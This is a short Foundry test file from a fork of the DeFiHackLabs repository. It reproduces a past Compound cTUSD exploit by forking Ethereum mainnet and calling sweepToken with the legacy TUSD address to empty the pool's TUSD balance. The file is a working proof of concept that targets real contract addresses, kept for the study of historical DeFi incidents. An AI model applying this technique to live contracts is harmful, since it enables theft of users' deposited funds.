forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCompoundTusd_exp.sol
29 lines (25 loc) · 883 Bytes
/
CompoundTusd_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
ICErc20Delegate cTUSD =
ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);
IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 14266479); // fork mainnet at block 14266479
}
function testExample() public {
emit log_named_uint(
"Before exploit, Compound TUSD balance:",
tusd.balanceOf(address(cTUSD))
);
cTUSD.sweepToken(tusdLegacy);
emit log_named_uint(
"After exploit, Compound TUSD balance:",
tusd.balanceOf(address(cTUSD))
);
}
}